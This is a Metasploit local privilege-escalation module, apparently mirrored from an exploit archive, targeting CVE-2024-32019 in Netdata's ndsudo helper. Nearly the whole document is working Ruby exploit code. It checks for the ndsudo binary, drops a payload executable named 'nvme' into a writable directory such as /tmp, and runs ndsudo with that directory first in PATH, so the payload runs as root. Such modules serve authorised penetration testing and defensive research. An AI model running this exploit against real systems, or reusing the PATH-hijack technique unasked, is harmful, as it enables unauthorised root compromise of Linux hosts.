## https://sploitus.com/exploit?id=PACKETSTORM:208747
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Netdata ndsudo privilege escalation',
'Description' => %q{
The `ndsudo` is a tool shipped with Netdata Agent. The version v1.45.0 and below contain vulnerability, which allows an attacker to gain privilege escalation using `ndsudo` binary. The vulnerability is untrusted search path, when searching for additional binary files, such as `nvme`. An attacker can create malicious binary with same name and add the directory of this binary into `$PATH` variable. The `ndsudo` will trust the first occurence of this binary and execute it.
},
'License' => MSF_LICENSE,
'Author' => [
'msutovsky-r7', # msf module
'mia-0' # security researcher
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93'],
[ 'CVE', '2024-32019']
],
'DisclosureDate' => '2024-04-12',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('NdsudoPath', [ true, 'A path to ndsudo binary on the target system', '/usr/libexec/netdata/plugins.d/ndsudo'])
]
end
def check
# could not find reasonable way to get version
return CheckCode::Safe('Vulnerable binary not detected, check NdsudoPath option') unless file?(datastore['NdsudoPath']) && executable?(datastore['NdsudoPath'])
return CheckCode::Unknown('Failed to run vulnerable binary, either binary is not ndsudo or user does not have right to execute ndsudo') unless cmd_exec(datastore['NdsudoPath']) == 'at least 2 parameters are needed, but 1 were given.'
CheckCode::Appears('Vulnerable binary detected')
end
def exploit
base_dir = datastore['WritableDir']
if !datastore['ForceExploit'] && is_root?
fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override')
end
unless writable? base_dir
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
executable_path = "#{base_dir}/nvme"
vprint_status("Creating malicious file at #{executable_path}")
fail_with(Failure::PayloadFailed, 'Failed to upload malicious binary') unless upload_and_chmodx(executable_path, generate_payload_exe)
register_files_for_cleanup(executable_path)
vprint_status('Executing..')
cmd_exec("PATH=#{base_dir}:$PATH '#{datastore['NdsudoPath']}' nvme-list")
end
end